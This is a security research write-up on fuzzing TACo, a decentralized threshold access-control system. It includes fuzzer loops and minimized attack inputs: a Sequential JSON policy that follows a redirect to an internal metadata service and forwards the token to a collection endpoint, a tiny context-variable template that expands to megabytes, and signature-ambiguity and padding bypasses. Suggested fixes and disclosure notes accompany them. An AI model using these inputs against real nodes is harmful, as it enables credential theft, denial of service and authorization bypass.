TACo (https://taco.build/) is a FOSS project, multi-purpose access control plugin that supports an internet free of surveillance, suppression, and single points of failure. Its aim is to embed Signal-like protections in every application and digital facility through an end-to-end encrypted and end-to-end decentralized architecture. A dream come true! But how to realize the vision without a nasty bug ruining it all?
This article discusses security testing of TACo, the construction of a fuzzer prototype for the project, preliminary findings including concrete vulnerabilities and potential further work.
TACo
TACo, Threshold Access/Action Control is primarily an access-control system, or ACS. (shocker!).
An ACS answers questions of the form
"May subject S perform operation O on resources R under context C"
This can be defined more formally as:
Allow(S, O, R, C) -> {True, False}
Programmers can define access conditions, also called policies.
TACo aims to resolve such policies by distributing a cryptographic capability among several participants. N nodes hold related secret shares. A threshold T determines how many valid contributions are required.
For example, the policy below means "Allow decryption if Ethereum's block timestamp is at least 1 January 2026, 00:00 UTC."
{
"version": "1.0.0",
"condition": {
"conditionType": "time",
"chain": 1,
"method": "blocktime",
"returnValueTest": {
"comparator": ">=",
"value": 1767225600
}
}
}
Each selected TACo node independently parses and evaluates the policy. If the policy passes, a node produces a decryption share. A requester can decrypt after collecting at least T valid shares.
Policies can be expressed formally as Boolean expressions. In TACo, however, they are substantially more expressive and, depending on the version, can:
- Read EVM state.
- Call JSON APIs.
- Call JSON-RPC endpoints.
- Verify JWT claims.
- Verify ECDSA signatures.
- Compare return values.
- Combine conditions with Boolean or threshold operators.
- Branch with If/Then/Else.
- Execute Sequential producer-consumer chains.
- Transform intermediate values.
- ...
TACo policies thus have program-like behavior. We need to account for syntax, types, semantics, effects, costs, error behavior and composition.
Cryptography, is thus only one part of the access-control system. Around those operations, data is parsed, a signature verified, contracts are called, variables are resolved, external services contacted, values compared, memory allocated and errors handled. Each transition between these states is a possible security boundary.
Security testing must therefore answer questions like:
- Does a policy mean the same thing across entry paths and versions?
- Do signed bytes match the values later consumed?
- Can data become syntax?
- Can private data reach a public sink?
- Is total work bounded?
- Do errors fail closed?
- Does authorization cover the program whose effects occur?
- ...
Threat model
We assume an attacker may:
- Construct or alter a decryption request.
- Provide dynamic policy context.
- Choose policy-controlled external endpoints where the language permits it.
- Replay valid authorization material while it remains valid.
- Observe responses, errors, timing, and requests to attacker-controlled services.
- Possess a valid authorized message-kit/header/evidence tuple and can submit requests to the relevant cohort.
We assume an attacker does not possess:
- The encryptor’s private key.
- A complete threshold secret.
- The plaintext.
- Control of honest TACo nodes.
- Access to arbitrary internal services.
Fuzzing
How can we make sure the system is, and stays secure, especially in an evolving, collaborative codebase? Fuzzing, or automatic bug finding, or throwing pasta at the wall until one sticks, might offer a lead.
Typically, a fuzzer is a program which automatically injects semi-random data into a program/stack and detects bugs. It repeatedly generates inputs, executes a target, and decides whether an interesting property has been violated.
Minimally, a fuzzer is:
input = generate()
result = execute(input)
if oracle(input, result) says "violation":
save(input, result)
Types of fuzzing
Byte Fuzzing
A byte fuzzer might flip bits in a serialized request. In this case, we are quite literally sending variations of raw bytes to execute. It is effective at finding memory-safety errors, parser crashes, etc. though verifying validity in our context is difficult as almost every mutation results in broken JSON.
This technique mostly tests the "front door" of the evaluator while leaving the kitchen untouched.
Grammar-aware Fuzzing
A grammar-aware fuzzer understands the input structure instead of testing random bit variations. It can, for example, replace an AST subtree (abstract syntax tree), insert a condition, alter a typed literal, all while preserving valid syntax.
In the case of TACo, it might include:
- replacing a JSON-API leaf with a JSON-RPC leaf.
- wrapping a valid condition in If/Then/Else.
- reordering Sequential producers and consumers while repairing variable names.
- mutating a comparator without breaking the surrounding schema.
- changing one ACP field while keeping every other field byte-identical.
This technique spends most executions inside the evaluator and mostly assumes the "front door" works.
Coverage-guided Fuzzing
A coverage-guided fuzzer retains inputs that reach new code to then try variations of them. This permits more in-depth testing of lines of code that might not see the light during default execution.
Semantic Fuzzing
Semantic fuzzing uses an oracle tests whether the program's meaning is correct rather than aiming for crashes.
Differential Testing
Differential testing runs related inputs or implementations and compares their outputs. We used several forms:
- Python Dictionary input versus JSON input versus Base64 transport.
- v7.6.1 versus v7.7.
- Production evaluator versus a strict typed reference.
- Authorization result versus AAD digest and effect trace.
- Policy-check representation versus signed representation.
For example, we may want to check if the deployment of a new version has unexpected impacts on policy resolution:
old_result = evaluate_v761(policy, context)
new_result = evaluate_v77(policy, context)
if old_result != new_result:
save(policy, context)
Resource fuzzing
An input can be valid and semantically correct but still consume unreasonable resources. We want to test for that as well.
TACo lab
It is now time to see if fuzzing the TACo project can help uncover meaningful bugs & security issues.
Literature
We informed our exploration with existing research, which is plentiful. In particular:
- Superion: Grammar-Aware Greybox Fuzzing This suggests treating structured inputs as syntax trees. This fits TACo well: a policy is already a tree of conditions. Instead of corrupting arbitrary JSON bytes, we replaced leaves, wrapped conditions, reordered branches and minimized failures while preserving valid syntax. (https://arxiv.org/abs/1812.01197)
- Semantic Fuzzing with Zest This suggests focusing fuzzing effort on semantically valid inputs. We similarly distinguished malformed policies from expected denials, known semantic failures and unexplained evaluator errors. Reaching meaningful policy evaluation mattered more than reaching another parser error. (https://arxiv.org/abs/1812.00078)
- NEZHA: Efficient Domain-Independent Differential Testing This fuzzer uses disagreement between implementations as feedback. TACo does not have many entirely independent evaluators, but it has different versions, transports and representations. We compared v7.6.1 with v7.7, production behavior with reference semantics, and authorization decisions with AAD (Additional Authenticated Data, data not encrypted but cryptographically bound to a ciphertext) digests and effect traces. (https://www.ieee-security.org/TC/SP2017/papers/390.pdf)
- RESTler: Stateful REST API Fuzzing RESTler generates valid request sequences by tracking producer-consumer dependencies. This inspired our treatment of Sequential conditions: first generate a value, then follow it into later URLs, parameters, headers or request bodies. (https://www.microsoft.com/en-us/research/wp-content/uploads/2021/03/RESTler.pdf)
- FuzzFactory: Domain-Specific Fuzzing with Waypoints The paper shows that progress need not mean only new code coverage. We retained inputs that produced new policy shapes, semantic outcomes, network effects, evaluation depths or output sizes—even when they executed the same Python lines. (https://dl.acm.org/doi/10.1145/3360600)
Main loop
From:
input = generate()
result = execute(input)
if oracle(input, result) says "violation":
save(input, result)
Our main testing loop became:
valid seed
-> grammar-aware mutation
-> parse and classify validity
-> execute through multiple representations or versions
-> compare semantic, effect, cost, and authorization tuples
-> retain measurable progress
-> minimize the counterexample
-> replay through the production route
We begin with a policy that TACo already accepts. Then we make a structured change while trying to keep it valid. The resulting policy is parsed, classified and executed through several versions and representations. We record
- Whether it returned true or false
- Which external effects occurred
- How much work was performed
- What authorization data protected it
If an input reaches new behavior, creates an unexpected disagreement, or violates a security property, we retain it. Then we remove everything unnecessary until only the smallest failing example remains.
Additionally, we informed our fuzzing by analysing the source first for potentially suspicious boundaries. This is most important in the prototype-phase, as extensive fuzzing ideally would require this preliminary review less.
Versions
The current-release node was pinned to TACo v7.6.1 commit:
547a9646d929f5f035b054bef94720c5712448c5
The contract source used for the authorization audit was pinned to:
93fcf2d1f41d8ae36b58f4c82ea5bcb6aea04c2b
We also retained v7.7, nucypher-core, taco-web, and documentation revisions for cross-version and cross-language work.
No public TACo node, live-chain RPC, cloud metadata service, or non-loopback service was contacted.
Results
For now, the project is still in the exploratory prototype phase. Here are preliminary discoveries.
One signature, many policies
A recipient generally receives a ciphertext together with a policy and authorization evidence. Quite naturally, we assume that:
- Replacing the policy should not yield useful plaintext.
- Replacing the policy should not make nodes execute unauthorized effects.
From our testing, the first assumption held. The second, however, did not.
We held three values constant, the ritual identifier 55, one valid 65-byte authorization signature, one 192-byte ciphertext header. As controls, we generated 128 valid replacement policies. Each policy contains a different endpoint. We also as control generated another 128 inputs by flipping one bit in the signature and 128 by flipping one bit in the header.
Concretely:
for index in range(128):
policy = {
"version": "1.0.0",
"condition": {
"conditionType": "json-api",
"endpoint": f"https://effect-{index}.invalid/value",
"parameters": {"case": str(index)},
"query": "allowed",
"returnValueTest": {
"comparator": "==",
"value": bool(index % 2),
},
},
}
mutated = replace_policy(original_acp, policy)
authorized = authorize(
evidence=mutated.authorization,
ciphertext_header=original_header,
)
if mutated.aad() != original_acp.aad() and authorized:
save(mutated)
All 128 replacements violated this security property. For example:
{
"version": "1.0.0",
"condition": {
"conditionType": "json-api",
"endpoint": "https://effect-0.invalid/value",
"parameters": {
"case": "0"
},
"query": "allowed",
"returnValueTest": {
"comparator": "==",
"value": false
}
}
}
Is different from the original. Nevertheless, TACo accepted the unchanged authorization signature.
By contrast, none of the 128 modified signatures or headers passed.
The problem is that a valid authorization for one policy can cause nodes to execute another policy's network or resource effect. The result was confirmed against the pinned Solidity contracts on a local EVM (Ethereum Virtual Machine). In the worst case, a user's valid authorization for one harmless policy could be reused to make each selected TACo node contact a sensitive internal service or exhaust its memory.
Suggested fix
The authorization, instead of covering only the ciphertext header, should cover the ciphertext under a given policy.
From Data/Syntax confusion to DoS
TACo policies can contain context variables such as :userAddress. At evaluation time, the variable is replaced with a value supplied by the request context.
Quite naturally, we assume that:
- A value inserted as data should remain data
- A small template should not produce an unbounded amount of work
From our testing, neither assumption held.
We generated templates containing repeated context variables that themselves looked like context syntax. Concretely:
for repetitions in range(1, 17):
template = ":x" * repetitions
context = {":x": ":x:x"}
production = taco_resolve(template, context)
reference = template.replace(":x", context[":x"])
if production != reference:
save(template, context, production)
The two strings responsible for one failing case totalled only 36 bytes:
template = ":x" * 16 # 32 bytes
context = {":x": ":x:x"} # 4 bytes
A one-pass resolver replaces each of the 16 original variables once. The expected output is 64 bytes long. TACo's released resolver instead produced 2,097,152 bytes.
The resolver first records all 16 occurrences of :x. It then performs a global replacement 16 times on the evolving result. Because the replacement value contains two new copies of :x, every pass doubles the number of variables. It follows that:
output bytes = repetitions × 2^repetitions × 2
It gets dramatic quite quickly. At 30 repetitions, this formula predicts exactly 60 GiB of output from a small encrypted request. Running the resolver inside a worker limited to 256 MiB of memory, the OS killed the worker for exceeding that limit.
The problem is that attacker-controlled data is interpreted as policy syntax. In the worst case, a small authorized request could exhaust the memory of a node worker. Repeated requests reaching enough selected nodes could prevent the requester from collecting a threshold response. The same root cause can also change the meaning of composed policies by rewriting placeholder-shaped JWT claims or trusted Sequential results, although those integrity effects require specific policy structures.
Suggested fix
Context variables should be replaced once against the original template. Inserted values must remain data and never be scanned again as policy syntax. TACo should also enforce limits on resolved output size and total evaluation work.
From external API to internal network
TACo policies allow nodes to call external APIs, which might not always be directly reachable by the requester. It is practical yet grooms the risk of SSRF, server-side request forgery, should an attacker manage to make a server contact an unintended destination.
Quite naturally, we assume that:
- An external policy endpoint should not redirect a node into its private network.
- Data read from a private service should not reach an attacker-controlled endpoint.
From our testing, neither assumption held.
We generated policies across different destination types, redirect codes, request methods and Sequential source-to-sink combinations.
Concretely, the central loop was:
for destination in private_destinations:
for redirect_status in [301, 302, 303, 307, 308]:
for sink in attacker_observed_sinks:
policy = sequential_policy(
source=redirect_to(destination, redirect_status),
sink=sink,
)
trace = evaluate(policy)
if trace.read_from_private_service:
if trace.private_value_reached_attacker:
save(policy, trace)
One failing policy was:
{
"version": "1.0.0",
"condition": {
"conditionType": "sequential",
"conditionVariables": [
{
"varName": "internalValue",
"condition": {
"conditionType": "json-api",
"endpoint": "https://127.0.0.1:2678/redirect-to-internal",
"parameters": {},
"query": "token",
"returnValueTest": {
"comparator": "!=",
"value": "'PUBLIC-SENTINEL'"
}
}
},
{
"varName": "collectionResult",
"condition": {
"conditionType": "json-api",
"endpoint": "https://127.0.0.1:2678/collect",
"parameters": {
"leak": ":internalValue"
},
"query": "accepted",
"returnValueTest": {
"comparator": "==",
"value": true
}
}
}
]
}
}
In our local lab setting, the first endpoint returned a redirect to:
http://127.0.0.1:2677/internal-metadata
TACo followed the redirect, even though it changed from HTTPS to HTTP and entered a private loopback address. The internal service returned:
{"token": "LOCAL-LAB-METADATA-TOKEN"}
The sequential condition stored this value as :internalValue and inserted it into the second request:
https://127.0.0.1:2678/collect?leak=LOCAL-LAB-METADATA-TOKEN
The attacker-controlled collection service therefore received the exact value read from the internal service.
Across the wider campaign:
- 9 of 12 private, loopback and link-local address forms passed validation.
- 10 of 18 redirect combinations reached a private HTTP service.
- All 11 modeled source-to-sink combinations propagated the private value.
- A 307 redirect preserved a JSON-RPC POST, including its method and parameters.
- An authorization-denied control made zero internal or collection requests.
The problem is not that TACo makes external requests (it is an intended feature), rather, that destinations and redirect targets do not enforce a safe network boundary, while Sequential conditions can move the returned data into a later attacker-observed request.
In the worst case, a policy could read cloud credentials from a metadata service or invoke an unauthenticated internal JSON-RPC method. The severity of the vulnerability depends on what services a production node can access.
Suggested fix
TACo should reject loopback, private and link-local destinations; resolve and validate hostnames before connecting; and repeat the validation after every redirect. HTTPS-to-HTTP redirects should be rejected.
Same signature, different meaning
A digital signature authenticates bytes, not their intended semantics.
Quite naturally, we assume that:
- Two semantically different objects should not produce the same signed bytes
- If two inputs produce the same signed bytes, late policy checks should not interpret them differently
From our testing, both assumptions failed in several conditional cases.
We first generated pairs of adjacent numeric strings and looked for different ways to divide the same combined value.
Concretely:
for digits in generated_numeric_strings:
for first_split in possible_splits(digits):
for second_split in possible_splits(digits):
original = split(digits, first_split)
rebound = split(digits, second_split)
if original != rebound:
if encode(original) == encode(rebound):
signature = sign(encode(original))
if evaluate(original, signature) != evaluate(rebound, signature):
save(original, rebound)
The fuzzer minimized the result to:
original = ("0", "10")
rebound = ("01", "0")
The two objects were different, but both produced the signed bytes for 010. The second field also changed its numeric meaning from 10 to 0.
There is also an ambiguity between raw and hexadecimal decoding that has been raised publicly: https://github.com/nucypher/nucypher/pull/3618
We found a related type problem with JSON values. Python considers these values equal:
True == 1 # True
False == 0 # True
JSON, however, defines Booleans and numbers as different types. A policy expecting the Boolean true could therefore accept the number 1, including inside lists and objects.
These findings require policies that sign attacker-controlled fields and later consume those fields separately. The signature cases affect the v7.7 ECDSA implementation, not the released v7.6.1 path. They are conditional policy-bypass cases.
The problem is that TACo sometimes signs an ambiguous representation rather than one unique policy meaning. Two different inputs can therefore produce the same signed bytes while being interpreted differently later. In the worst case, an attacker could reuse a valid signature to change a carefully composed policy from denial to authorization. This can result in a conditional authorization bypass.
Suggested fix
TACo should sign a canonical typed encoding containing explicit field boundaries and type information. Raw and hexadecimal message encodings should be selected explicitly by the policy rather than inferred from attacker-controlled text. Equality checks should also require both the JSON type and value to match.
Checked as one value, signed as another
TACo v7.7 introduced an experimental Action Control feature. It allows a policy to inspect a proposed smart-wallet action before TACo signs it. Some fields, including accountGasLimits and gasFees, must be exactly 32 bytes long.
Quite naturally, we assume that:
- The policy checks the same object that will later be signed.
- Invalid short values are rejected (and not silently modified).
From our testing, neither assumption held.
We generated values from 1 to 31 bytes for both fields across three supported account-abstraction variants. For every short value, we compared the policy decision before and after converting it to the 32-byte representation used for signing.
Concretely:
for version, field, raw in generated_short_fields():
padded = right_pad(raw, 32)
original = make_user_operation(field, raw)
canonical = make_user_operation(field, padded)
if (
check_policy(original) != check_policy(canonical)
and message_hash(original, version)
== message_hash(canonical, version)
):
save(version, field, original, canonical)
The fuzzer minimized the problem to a one-byte value:
Policy input:
0x01
Value used for signing:
0x0100000000000000000000000000000000000000000000000000000000000000
The policy evaluator interpreted the first value as the integer 1. A policy requiring the value to be smaller than 2 therefore allowed it.
The signing encoder then silently padded the value to 32 bytes. Interpreted as an integer, that canonical value is 2^248, which the same policy would deny. Nevertheless, the short and padded objects produced the same EIP-712 message hash, so one signature was valid for both representations.
The problem is that the policy checks one representation while TACo signs another. In the worst case, an attacker could bypass a gas-limit or fee restriction and obtain authorization for a smart-wallet action whose canonical value the policy would have rejected.
This only affects the unreleased v7.7 Alpha/DEVNET Action Control surface.
Suggested fixaccountGasLimits and gasFees should be rejected unless they are exactly 32 bytes long. Validation must happen before both policy evaluation and signing, and both stages should receive the same canonical object.
Further results
Five operations to one MB
The v7.7 condition language limits an operation list to five instructions. We tested whether five instructions also implied a reasonable limit on total work.
It turns out, a 558-byte policy containing the multiplication factors [11, 11, 13, 13, 49] produced a 1,002,001-byte string and was authorized by the complete parser and evaluator. Five factors of 16 produced 1,048,576 bytes. The first case increased traced peak allocation by 8,128,872 bytes.
The problem is that limiting the number of operations does not limit the size of their operands or results. In the worst case, repeated expensive requests could exhaust worker memory or CPU and reduce enough nodes’ availability to interrupt decryption.
Rediscovering a known authentication weakness
We also fuzzed TACo’s legacy wallet-authentication proof. We changed its domain, chain, purpose, embedded address, block information, freshness and authentication scheme.
The same foreign-domain signature authenticated in all 25 trials. Omitting the authentication scheme selected the permissive legacy path, while the newer EIP-4361 path correctly rejected a three-hour-old proof.
In the worst case, if the legacy path is deployed and an attacker captures a suitable victim signature, that signature could potentially be replayed for another purpose to satisfy a :userAddress policy.
This is not a new discovery as discussed in at least:
- https://github.com/nucypher/nucypher/issues/3359
- https://github.com/nucypher/nucypher/issues/3504
- https://github.com/nucypher/taco-web/issues/452
- https://github.com/nucypher/nucypher/pull/3515
It is, however, interesting to note that our tested methodology was able to find it again.
Finally, the prototype campaigns raised other lower-level inconsistencies:
- JSON-RPC rejected valid falsey results such as 0 and false differently from equivalent JSON-API conditions.
- Some malformed comparator strings caused generic HTTP 500 responses instead of clean policy rejection.
- On v7.6.1, a valid four-child condition became invalid when placed inside an If/Then/Else wrapper; this behavior changed in v7.7.
In my opinion, broader and deeper fuzzing is likely to find many more bugs.
Discussion
None of our main findings breaks or even touches the underlying hardness assumption of threshold encryption, ECDSA (Elliptic Curve Digital Signature Algorithm) or Keccak.
The testing produced a mixture of apparently new counterexamples and concrete extensions of previously discussed concerns:
- The first bug is similar to others but I could not locate a precise public duplicate.
- The second bug I could not find much about either.
- The "SSRF" is a concrete extension of the allowlisting concern raised in PR #3511.
- Resource amplification extends the resource-limit discussion in PR #3658.
- ECDSA raw/hex ambiguity is partially known from PR #3618. We reproduced a downstream authorization-decision flip.
- Legacy authentication was explicitly known
- In case of Action control, no precise public duplicate was located but it was found in unreleased code.
The code-path results were reproduced locally, although still remain to be properly confirmed. If that were to be the case, they would underline the need for more extensive and systematic fuzzing-based testing of the TACo codebase.
Fuzzing and Formal Verification
Fuzzing can reasonably never be truly complete, always leaving some rooms for bugs. When the system is small and well-defined enough, one can attempt to formally verify it, that is, given an explicit model and assumptions, prove that no counterexample exists within that model.
Fuzzing is better suited when the water is muddy. It does not prove that no counterexample exists, rather, it tries to find counterexamples within the generated and executed space.
TACo's implementation is distributed across multiple components:
nucypher, the Python node runtime. It evaluates policies, resolves context variables, contacts external services and decides whether to produce a decryption share.nucypher-core, the Rust protocol core. It defines versioned requests, serialization, session encryption and objects shared with Python and WASM.nucypher-contractscontains the Solidity contracts responsible for rituals, participants, authorization and payments.taco-webis the browser SDK. It constructs requests, communicates through Porter and combines responses from nodes.nucypher-porterdiscovers nodes and relays browser requests to them.ferveoimplements the distributed key generation and threshold cryptography layer.
A security property will often cross several of these components. A policy might be created in TypeScript, serialized through Rust, authorized by a Solidity contract, evaluated by Python and finally combined again in the browser.
Formal verification could be implemented to validate:
- Authorization binding in the contracts and node runtime. Prove that the Solidity authorizer and the Python node agree on the exact ritual, ciphertext and policy being authorized before the node evaluates it.
- Serialization in nucypher-core. Prove that versioned Rust objects have unambiguous field boundaries, reject invalid lengths and cannot encode two different meanings as the same signed bytes.
- Policy semantics in nucypher/policy/conditions. Define the meaning of Sequential, Compound, threshold and If/Then/Else conditions. Prove deterministic errors, typed comparisons and single-pass context substitution.
- Action Control across nucypher-core and the node runtime. Prove that the UserOperation inspected by the policy is exactly the object later hashed and signed.
- The Coordinator contracts. Model ritual creation, transcript publication, aggregation, timeouts, activation, expiry and handover. An incomplete or invalid ritual must never become active.
- Ferveo DKG and share combining. Prove agreement on one public key, rejection of malformed or cross-ritual shares and the expected threshold properties.
- Node sessions and identities. Prove that an encrypted request is bound to its peer, direction and protocol, and that the node’s operator, metadata keys and network identity cannot be silently mixed.
Fuzzing could be implemented to test:
- The Python policy evaluator. Generate nested conditions, unusual types, context-variable graphs, arithmetic operations, falsey values, errors and oversized intermediate results.
- JSON and EVM conditions. Run hostile HTTP, JSON-RPC and blockchain providers that redirect, return inconsistent values, delay responses, send malformed ABI data or cross private-network boundaries.
- Rust protocol objects. Feed structured and arbitrary MessagePack into every nucypher-core deserializer and compare Rust, Python and WASM behavior.
- The browser SDK and Porter. Return missing, duplicate, delayed, malformed or cross-ritual node responses and verify that taco-web combines only distinct valid shares.
- The Solidity integration. Use stateful fuzzing for ritual creation, roles, participant selection, authorization, timeouts, duplicate events, transaction replacement and chain reorganizations.
- Authentication. Mutate SIWE, JWT, EIP-1271, EIP-712 and ECDSA proofs across domains, chains, nonces, claims, encodings and freshness.
- Operational code. Exercise HTTP routes, node metadata, configuration files, keystores, migrations, logs and metrics with malformed, concurrent and oversized inputs.
Where conventional tests confirm that known examples work, fuzzers search for combinations that one might not anticipate. This prototype project focused on the Python condition interpreter and its nearest boundaries. In the case of TACo, I believe that the project would benefit greatly from broader, fuzzing-based testing, and eventually formal verification where that is possible.
Conclusion
We discussed TACo, a novel, decentralized cryptographic access-control system. In order to test it, we started exploring and defining different kinds of fuzzers. We then set up a prototype lab to test the Python access-control policy interpreter and adjacent elements.
During this first exploration, we found a few potential leads for serious security findings, in particular:
- How an authorization for a harmless policy can be reused for a malicious one.
- How unclear data/syntax boundaries can lead to resource exhaustion with short inputs.
- How external API call capabilities could be redirected to private network calls.
- How the same signature could encode different meanings, potentially leading to authorization bypasses.
- How the value check is not necessarily the value later signed, potentially allowing an attacker to bypass a gas-limit or fee restriction.
- Rediscovering potential resource exhaustion and authentication weaknesses angles.
We then argued that extensive fuzzing-coverage, paired with formal verification, would help secure the project, especially across versions and as new development arrives.
This approach to securing large codebases is, in the end, standard practice. Mozilla continuously deploys fuzzing infrastructure against Firefox; one grammar-based WebAPI fuzzer alone found more than 850 bugs, including 116 security-rated issues. Google’s OSS-Fuzz similarly fuzzes more than a thousand open-source projects continuously. (https://hacks.mozilla.org/2020/04/fuzzing-with-webidl/) (https://google.github.io/oss-fuzz/)
Disclosure
Given TACo is currently a paused project and that the responsible team has been made aware of these potential issues and will fix them before the project is deployed again, the prototype discussion is given as is. The exact code and step-by-step reproduction will likely be made available in a second article. Stay tuned!
References
- Wang, Junjie; Chen, Bihuan; Wei, Lei; Liu, Yang. (2019). Superion: Grammar-Aware Greybox Fuzzing. 2019 IEEE/ACM 41st International Conference on Software Engineering (ICSE), 724–735. https://doi.org/10.1109/ICSE.2019.00081.
- Padhye, Rohan; Lemieux, Caroline; Sen, Koushik; Papadakis, Mike; Le Traon, Yves. (2019). Semantic Fuzzing with Zest. Proceedings of the 28th ACM SIGSOFT International Symposium on Software Testing and Analysis (ISSTA 2019), 329–340. https://doi.org/10.1145/3293882.3330576.
- Petsios, Theofilos; Tang, Adrian; Stolfo, Salvatore J.; Keromytis, Angelos D.; Jana, Suman. (2017). NEZHA: Efficient Domain-Independent Differential Testing. 2017 IEEE Symposium on Security and Privacy, 615–632. https://doi.org/10.1109/SP.2017.27.
- Atlidakis, Vaggelis; Godefroid, Patrice; Polishchuk, Marina. (2019). RESTler: Stateful REST API Fuzzing. 2019 IEEE/ACM 41st International Conference on Software Engineering (ICSE), 748–758. https://doi.org/10.1109/ICSE.2019.00083.
- Padhye, Rohan; Lemieux, Caroline; Sen, Koushik; Simon, Laurent; Vijayakumar, Hayawardh. (2019). FuzzFactory: Domain-Specific Fuzzing with Waypoints. Proceedings of the ACM on Programming Languages, 3(OOPSLA), Article 174, 1–29. https://doi.org/10.1145/3360600.
- Mozilla Security Blog. Fuzzing Firefox with WebIDL: more than 850 bugs found, including 116 security-rated issues.
- Google. OSS-Fuzz: continuous fuzzing for open-source software.